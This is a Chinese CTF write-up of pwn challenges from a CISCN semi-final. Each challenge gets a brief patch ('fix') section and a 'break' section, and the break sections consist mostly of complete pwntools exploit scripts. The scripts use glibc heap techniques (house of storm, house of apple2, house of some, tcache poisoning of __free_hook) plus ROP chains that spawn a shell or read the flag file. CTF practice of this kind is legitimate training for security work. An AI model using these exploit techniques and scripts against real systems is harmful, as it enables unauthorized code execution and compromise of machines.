题目都是cicsn半决赛的题目
文章目录
catchme
fix

一眼就是house of storm。

uaf漏洞。

泄露bk指针,得到libc。

只能从bk指针处开始edit。

清空指针。

ufa漏洞,指针清0即可。
break
这里直接爆破一下,即可获得flag。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
libc=ELF("./libc-2.27.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
def cmd(idx):
ru(b'>>\n')
sn(idx)
def add(idx):
cmd(1)
ru(b'(3)otter\n')
sn(idx)
def free(idx):
cmd(2)
ru(b'index:')
sn(idx)
def show(idx):
cmd(3)
ru(b'index:')
sn(idx)
def edit(idx,content):
cmd(4)
ru(b'index:')
sn(idx)
ru(b'set tag:')
s(content)
def clean(idx):
cmd(6)
ru(b'index:')
sn(idx)
while True:
p=remote('challenge.imxbt.cn',30781)
for i in range(7):
add(3)
free(0)
clean(0)
add(1)#0
ru(b'token(2):')
flag=int(p.recv(2),16)
if flag!=0x56:
p.close()
continue
add(1)#1
free(0);show(0)
ru(b'tag:')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.__malloc_hook-0x10-96
print(hex(libc_base))
free_hook=libc_base+libc.sym.__free_hook
one_gadget = libc_base + 0x4f302
add(2)#2
add(2)#3
free(2)
edit(2,p64(free_hook-0x10-8))
edit(0,p64(free_hook-0x10)+p64(0)+p64(free_hook-0x10-8-0x18-5))
add(3)
edit(4,p64(one_gadget))
free(0)
p.interactive()
broken_manager
fix




uaf漏洞。
malloc和free函数都是自定义的,看不懂,也不想看。
但是我们知道漏洞点就可以修。


easy_rw_revenge
fix

漏洞点在add中有free,且堆块指针没置0,有uaf漏洞,如果我们输入-1,即可绕过check,malloc(-1)返回null,即当size为-1时,该函数就是有uaf漏洞的free函数。
我们把有符号比较改为无符号即可。

Prompt


这里要用到小工具https://github.com/Rea1Atomic/protobuf-pwn-tool。
pbpt -f ./pwn
protoc --python_out=. ./pwn.proto
自己装吧
看看增删查改函数。




漏洞点很明显,edit中的堆溢出。
re结构体:
fix

break
保护:

glibc2.39版本,泄露libc和heap,打house of apple2即可。
exit
-> _IO_flush_all
-> FILE ->vtable 的某个 slot
-> _IO_wfile_seekoff
-> wide_data->_wide_vtable 的某个 slot
-> magic
-> setcontext+61
_IO_flush_all 触发时,真正调用的是:
mov rax, [rbx+0xd8] ; rax = fp->vtable
mov esi, 0xffffffff
mov rdi, rbx ; rdi = fp
call qword ptr [rax+0x18]
IO_wfile_seekoff 里很早就会进 _IO_switch_to_wget_mode(fp),而 _IO_switch_to_wget_mode 有这段:
mov rax, [rdi+0xa0] ; rax = fp->_wide_data
...
mov rax, [rax+0xe0] ; rax = wide_data->_wide_vtable
mov esi, 0xffffffff
call qword ptr [rax+0x18]
_lock = haddr+0x90
给 glibc 一个可写、有效的锁对象地址
0
让 lock/cnt 初始为 0,表示未加锁、无递归计数,方便加锁和解锁路径通过
1
给 owner 一个非空占位值。这样通常会走通用的 cmpxchg 加锁路径;很多场景下设 0 也能过,但设成非零模板上更稳一些。
python
from pwn import *
from pwncli import *
import pwn_pb2
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file)
#p=remote()
e=ELF(file)
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
def send_msg(option, size=0, idx=0, text=b"123"):
ru(b"Your prompt >> ")
data = pwn_pb2.HeapPayload()
data.option = option
data.chunk_sizes.append(size)
data.heap_chunks_id.append(idx)
data.heap_content = text
raw = data.SerializeToString()
s(p32(len(raw)) + raw)
def add(idx, size, text=b""):
send_msg(1, size, idx, text)
def free(idx, size=0, text=b""):
send_msg(2, size, idx, text)
def edit(idx,text=b""):
send_msg(3, len(text), idx, text)
def show(idx, size=0, text=b""):
send_msg(4, size, idx, text)
def exit(idx=0, size=0, text=b""):
send_msg(5, size, idx, text)
add(0,0x100,b'a')
add(1,0x100,b'a')
add(2,0x100,b'a')
free(1)
edit(0,b'a'*0x110)
show(0)
ru(b'a'*0x110)
heap=u64(p.recv(5).ljust(8,b'\x00'))<<12
print(hex(heap))
edit(0,b'a'*0x100+flat(0x110,0x111))
add(1,0x100)
for i in range(3,3+7):
add(3,0x210)
add(10,0x210,b'a')
add(11,0x210,b'a')
add(12,0x210,b'a')
for i in range(3,3+7):
free(i)
free(11)
edit(10,b'a'*0x21e+b'AA')
show(10)
ru(b'AA')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x750268203d30+0x750268000000
print(hex(libc_base))
#bug()
edit(10,b'a'*0x210+p64(0x220)+p64(0x221))
for i in (0,1,2):
free(i)
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"] + 61
rdi = libc_base + 0x10F75B
rsi = libc_base + 0x110A4D
rax = libc_base + 0x0DD237
sys_ret = libc_base + 0x098FB6
sendfile = libc_base + libc.sym["sendfile"]
rcx = libc_base + 0x0A877E
magic = libc_base + 0x176F0E #mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20]
add(0, 0x440, b"a")
add(1, 0x430, b"a")
add(2, 0x430, b"a")
add(3, 0x340, b"a")
add(4, 0x440, b"a")
add(5, 0x440, b"a")
add(6, 0x450, b"a")
add(7, 0x440, b"a")
add(8, 0x1F0, b"a")
free(5)
add(5, 0x500, b"a")
payload = b"a" * 0x440 + p64(0x8A0) + p64(0x451) + p64(libc_base + 0x203F20) * 2 + p64(_IO_list_all - 0x20) * 2
#bug()
fake_io = heap + 0xD90-0x2000
edit(4, payload)
free(1)
add(1, 0x500, b"a")
add(9, 0x430, b"a")
payload = b"a" * 0x440 + p64(0) + p64(0x451) + p64(libc_base + 0x203F20) * 2 + p64(fake_io) * 2
edit(4, payload)
add(11, 0x430, b"a")
fd=fake_io+0x10
fake_IO_FILE=flat(
{
0x10:[p64(0)], # write_base
0x18:[p64(1)], # write_ptr --> ptr > base
0xb0:[p64(0)], # _mode <= 0
0xc8:[p64(_IO_wfile_jumps+0x30)],
0x78:[p64(fake_io+0x90),p64(0),p64(1)], # bypass lock
0x90:[p64(fd+0xA8),p64(0),p64(1)],
(0x90+0x20):[p64(0)],
(0x90+0x28):[p64(1)], # bypass check in wfile_seekoff
(0x90+0x30):[p64(1)], # bypass check in wfile_seekoff
(0xa8+0xe0):[p64(fd+0xB0+0xd8)], #rax
(0xB0+0xd8+0x18):[p64(magic)], #mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20]
(0xB0+0xd8+0x38):[p64(fd+0xB0+0xd8+0x18+0x28)], #rdx
(0xB0+0xd8+0x18+0x28+0x20):[p64(setcontext)],
(0x1C8+0xA0):[p64(fd+0x280)], # rsp
(0x1C8+0xA8):[p64(rdi+1)], # ret_addr
(0x1c8+0x68): [p64(0xffffff9c)], #rdi
(0x1c8+0x70): [p64(fd+0x350)], #rsi
(0x1C8+0x88):[p64(0x100)], #rdx
(0x280):[p64(rax),p64(0x101),p64(rdi),p64(-100,sign="signed"),p64(rsi),p64(fd+0x350),p64(sys_ret), # rop
p64(rdi),p64(3),p64(rax),p64(0),p64(sys_ret),
p64(rax),p64(1),p64(rdi),p64(1),p64(sys_ret),
],
(0x350):[b'./flag\x00'],
},filler=b'\x00',)
edit(11,fake_IO_FILE)
exit()
p.interactive()
也可以打house of some鸭!
python
from pwn import *
from pwncli import *
import pwn_pb2
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
context.arch = "amd64"
file = "./pwn"
p = process(file)
e = ELF(file)
libc = ELF("./libc.so.6")
ru = lambda x: p.recvuntil(x)
s = lambda x: p.send(x)
def bug():
gdb.attach(p);pause()
def house_of_some_read(read_from, size, chain):
fake_io_file = IO_FILE_plus_struct()
fake_io_file.flags = 0x8000 | 0x40 | 0x1000
fake_io_file.fileno = 0
fake_io_file._mode = 0
fake_io_file._IO_write_base = read_from
fake_io_file._IO_write_ptr = read_from + size
fake_io_file.chain = chain
fake_io_file.vtable = libc.sym["_IO_file_jumps"] - 0x8
return bytes(fake_io_file)
def house_of_some_write(write_from, size, chain):
fake_io_file = IO_FILE_plus_struct()
fake_io_file.flags = 0x8000 | 0x800 | 0x1000
fake_io_file.fileno = 1
fake_io_file._mode = 0
fake_io_file._IO_write_base = write_from
fake_io_file._IO_write_ptr = write_from + size
fake_io_file.chain = chain
fake_io_file.vtable = libc.sym["_IO_file_jumps"]
return bytes(fake_io_file)
def send_msg(option, size=0, idx=0, text=b"123"):
ru(b"Your prompt >> ")
data = pwn_pb2.HeapPayload()
data.option = option
data.chunk_sizes.append(size)
data.heap_chunks_id.append(idx)
data.heap_content = text
raw = data.SerializeToString()
s(p32(len(raw)) + raw)
def add(idx, size, text=b""):
send_msg(1, size, idx, text)
def free(idx, size=0, text=b""):
send_msg(2, size, idx, text)
def edit(idx, text=b""):
send_msg(3, len(text), idx, text)
def show(idx, size=0, text=b""):
send_msg(4, size, idx, text)
def exit_(idx=0, size=0, text=b""):
send_msg(5, size, idx, text)
add(0, 0x100, b"a")
add(1, 0x100, b"a")
add(2, 0x100, b"a")
free(1)
edit(0, b"a" * 0x110)
show(0)
ru(b"a" * 0x110)
heap = u64(p.recv(5).ljust(8, b"\x00"))
heap_base = (heap << 12) - 0x7000
success(f"heap_base: {hex(heap_base)}")
edit(0, b"a" * 0x100 + flat(0x110, 0x111))
add(1, 0x100)
for i in range(3, 3 + 7):
add(i, 0x200)
add(10, 0x200, b"a")
add(11, 0x200, b"a")
add(12, 0x200, b"a")
for i in range(3, 3 + 7):
free(i)
free(11)
edit(10, b"a" * 0x20E + b"AA")
show(10)
ru(b"AA")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x750268203D20 + 0x750268000000
libc.address = libc_base
success(f"libc_base: {hex(libc_base)}")
edit(10, b"a" * 0x200 + p64(0x210) + p64(0x211))
io_list_all = libc.sym["_IO_list_all"]
add(3, 0x100, b"a")
free(3)
free(2)
edit(1, b"a" * 0x108 + p64(0x111) + p64(io_list_all ^ heap))
stage0_addr = heap_base + 0x1000
stage1_addr = stage0_addr + 0x1C0
fake_io_file_addr = heap_base + 0x8DF0
#bug()
edit(12, house_of_some_read(stage0_addr, 0x200, stage0_addr))
add(2, 0x100, flat(0))
add(3, 0x100, p64(fake_io_file_addr))
exit_()
py=house_of_some_write(libc.sym["environ"], 0x8, stage0_addr + 0xE0)
py+=house_of_some_read(stage1_addr, 0x200, stage1_addr)
p.send(py)
stack_addr = u64(p.recvn(8))
success(f"stack_addr: {hex(stack_addr)}")
ret=stack_addr-0x340
flag=ret-8
rdi=0x000000000010f75b+libc_base
rsi=0x0000000000110a4d+libc_base
r13=0x00000000000584d9+libc_base
rax=0x00000000000dd237+libc_base
rcx=0x00000000000a877e+libc_base
mov_rdx_r13_syscall=0x000000000009d14c+libc_base
orw=b'./flag\x00\x00'+flat(rdi,flag,rsi,0,libc.sym.open)
orw+=flat(rdi,1,rsi,3,rcx,0x100,libc.sym.sendfile)
#bug()
py=house_of_some_read(ret-8, len(orw), 0)
s(py)
s(orw)
p.interactive()
typo
看看保护:

glibc2.31保护全开,无沙箱,一般就是覆盖free_hook为system了。


无UAF漏洞。

漏洞点在edit函数中。
snprintf(目标缓冲区, 缓冲区大小, 格式字符串, 要格式化的数据);
它的作用是:
把第 4 个参数的数据,按照第 3 个参数指定的格式,转换成字符串,安全地写入第 1 个参数指向的缓冲区中,并且写入长度不会超过第 2 个参数指定的大小。
snprintf 遇到输入字符串中的 \x00 会认为字符串结束,截断。
会出现格式化字符串漏洞和堆溢出漏洞。
思路马上就有了由于没有show函数用IO泄露libc,然后继续堆溢出构造堆风水,打tcache投毒即可shell。
fix


参数换到正确的位置就ok了。
break
堆溢出漏洞直接off-by-one 造成堆块重叠,格式化字符串漏洞替换\x00,注意一下edit中read能读入的大小,应该没啥问题。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file,aslr=False)
#p=remote()
e=ELF(file)
libc=ELF("./libc-2.31.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
def cmd(idx):
ru(b'>> ');sn(idx)
def add(idx,size):
cmd(1)
ru(b'Index: ');sn(idx)
ru(b'Size: ');sn(size)
def free(idx):
cmd(2)
ru(b'Index: ');sn(idx)
def edit(idx,data,content=b'a'):
cmd(3)
ru(b'Index: ');sn(idx)
ru(b'New size of content: ');s(data)
ru(b'What do you want to say: ');s(content)
def replace(payload):
return payload.replace(b'\x00',b'%39$c')+b'\x00'
add(0,0x10)
add(1,0x90)
add(2,0x80)
add(3,0x200)
add(4,0x200)
add(5,0x80)
add(6,0x80)
add(7,0x80)
add(8,0x80)
add(9,0x80)
add(10,0x80)
edit(0,replace(b'a'*0x18+p64(0xa0+0x90+0x210+0x210+1)))
free(1);free(5);free(2)
add(1,0x90)
edit(0,replace(b'a'*0x18+p64(0xa0+1)+p64(0xff)))
edit(1,p8(0xff),b'a'*0x90+p64(0x90+0x210+0x210+1)+p16(0x9698))
add(2,0x80)
add(5,0x80)
edit(5,p8(0xff),p64(0xfbad1800)+p64(0)*3+b'\x00')
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x0000155555518980+0x15555532c000
print(hex(libc_base))
free_hook=libc_base+libc.sym.__free_hook
system=libc_base+libc.sym.system
free(9);free(8)
edit(6,replace(b'a'*0x88+p64(0x91)+p64(0xff)))
edit(7,p8(0xff),b'a'*0x80+p64(0x91)+p64(free_hook-8))
add(8,0x80)
edit(7,p8(0xff),b'a'*0x80+p64(0x91)+b'/bin/sh\x00')
add(9,0x80)
edit(9,p8(0xff),p64(system))
free(8)
p.interactive()
爆破版本:
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
#context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
#p=remote()
e=ELF(file)
libc=ELF("./libc-2.31.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
def cmd(idx):
ru(b'>> ');sn(idx)
def add(idx,size):
cmd(1)
ru(b'Index: ');sn(idx)
ru(b'Size: ');sn(size)
def free(idx):
cmd(2)
ru(b'Index: ');sn(idx)
def edit(idx,data,content=b'a'):
cmd(3)
ru(b'Index: ');sn(idx)
ru(b'New size of content: ');s(data)
ru(b'What do you want to say: ');s(content)
def replace(payload):
return payload.replace(b'\x00',b'%39$c')+b'\x00'
def exp():
add(0,0x10)
add(1,0x90)
add(2,0x80)
add(3,0x200)
add(4,0x200)
add(5,0x80)
add(6,0x80)
add(7,0x80)
add(8,0x80)
add(9,0x80)
add(10,0x80)
edit(0,replace(b'a'*0x18+p64(0xa0+0x90+0x210+0x210+1)))
free(1);free(5);free(2)
add(1,0x90)
edit(0,replace(b'a'*0x18+p64(0xa0+1)+p64(0xff)))
edit(1,p8(0xff),b'a'*0x90+p64(0x90+0x210+0x210+1)+p16(0x9698))
add(2,0x80)
add(5,0x80)
edit(5,p8(0xff),p64(0xfbad1800)+p64(0)*3+b'\x00')
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x0000155555518980+0x15555532c000
print(hex(libc_base))
free_hook=libc_base+libc.sym.__free_hook
system=libc_base+libc.sym.system
free(9);free(8)
edit(6,replace(b'a'*0x88+p64(0x91)+p64(0xff)))
edit(7,p8(0xff),b'a'*0x80+p64(0x91)+p64(free_hook-8))
add(8,0x80)
edit(7,p8(0xff),b'a'*0x80+p64(0x91)+b'/bin/sh\x00')
add(9,0x80)
edit(9,p8(0xff),p64(system))
free(8)
while 1:
p=process(file)
try:
exp()
except:
p.close()
continue
p.interactive()
如果不用格式化字符串漏洞也可以打通,但是对堆布局要求很高,如下:
chunk10的fd指针低二位为\x00才可以。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
#context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
#p=remote()
p=process(file,aslr=False)
e=ELF(file)
libc=ELF("./libc-2.31.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
def cmd(idx):
ru(b'>> ');sn(idx)
def add(idx,size):
cmd(1)
ru(b'Index: ');sn(idx)
ru(b'Size: ');sn(size)
def free(idx):
cmd(2)
ru(b'Index: ');sn(idx)
def edit(idx,data,content=b'a'):
cmd(3)
ru(b'Index: ');sn(idx)
ru(b'New size of content: ');s(data)
ru(b'What do you want to say: ');s(content)
for i in range(6):
add(i,0x80)
add(7,0x20)
add(8,0x80)
add(9,0x30)
add(10,0x80)
add(11,0x10)
add(12,0x80)
add(13,0x30)
add(14,0x30)
add(15,0x30)
add(16,0x30)
add(17,0x30)
edit(16,b'a'*0x40+b'/bin/sh\x00')
edit(16,b'a'*0x38+p64(0x41))
edit(8,b'a'*0x88+p64(0x40+0x90+1))
free(9)
add(9,0xc0)
for i in range(5):
free(i)
free(12)
free(8)
free(10)
#bug()
edit(7,b'a'*0x30)
edit(7,b'a'*0x28+p64(0x91))
edit(9,p8(0xff),b'a'*0x30+p64(0x91)+p16(0x9698))
#bug()
add(0,0x80)
add(1,0x80)
add(2,0x80)
edit(2,p8(0xff),p64(0xfbad1887)+p64(0)*3+b'\x00')
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1ec980
print(hex(libc_base))
system=libc_base+libc.sym.system
free_hook=libc_base+libc.sym.__free_hook
free(15);free(14)
edit(13,b'a'*0x40+p64(free_hook-8))
edit(13,b'a'*0x38+p64(0x41))
#bug()
add(14,0x30)
add(15,0x30)
edit(15,p8(0xff),p64(system))
free(17)
p.interactive()
note
fix
glibc2.31啊,一道很基础的uaf板子题。
fix也很正常。
直接nop掉free即可。
break
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file)
#p=remote()
e=ELF(file)
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
def cmd(idx):
ru(b'5. exit\n');sn(idx)
def add(size,data):
cmd(1)
ru(b'The size of your content: \n');sn(size)
ru(b'content: \n');sl(data)
def edit(idx,data):
cmd(2)
ru(b'index: \n');sn(idx)
ru(b'The size of your content: \n');sn(len(data))
ru(b'Content: \n');sl(data)
def free(idx):
cmd(3)
ru(b'index: \n');sn(idx)
def show(idx):
cmd(4)
ru(b'index: \n');sn(idx)
add(0x410,b'a')#0
add(0x10,b'a')#1
free(0);show(0)
ru(b'Content: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.__malloc_hook-0x10-96
print(hex(libc_base))
free_hook=libc_base+libc.sym.__free_hook
add(0x410,b'a')
add(0x78,b'a')
add(0x78,b'a')
free(4);free(3)
edit(3,p64(free_hook-0x8))
#bug()
add(0x78,b'a')
add(0x78,b'/bin/sh\x00'+p64(libc_base+libc.sym.system))
free(6)
p.interactive()
protoverflow
会搞出protobuf结构题就很简单了,后面就是ret2libc了。
fix


fix后:



break
python
from pwn import *
import pwn_pb2
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file)
#p=remote()
e=ELF(file)
libc=ELF("./libc-2.27.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
ru(b'0x')
libc.address=libc_base=int(p.recv(12),16)-libc.sym.puts
print(hex(libc_base))
pop_rdi = libc.address + 0x8F989
ret = pop_rdi + 1
system = libc.sym.system
bin_sh = next(libc.search(b"/bin/sh\x00"))
payload = b"A" * 0x218 + flat(ret, pop_rdi, bin_sh, system)
msg = pwn_pb2.protoMessage()
msg.buffer = payload
msg.size = len(payload)
raw=msg.SerializeToString()
s(raw)
p.interactive()
总结
讲真的题目是越来越难,个人认为半决赛难度小于初赛难度,但也没简单到哪去,哎...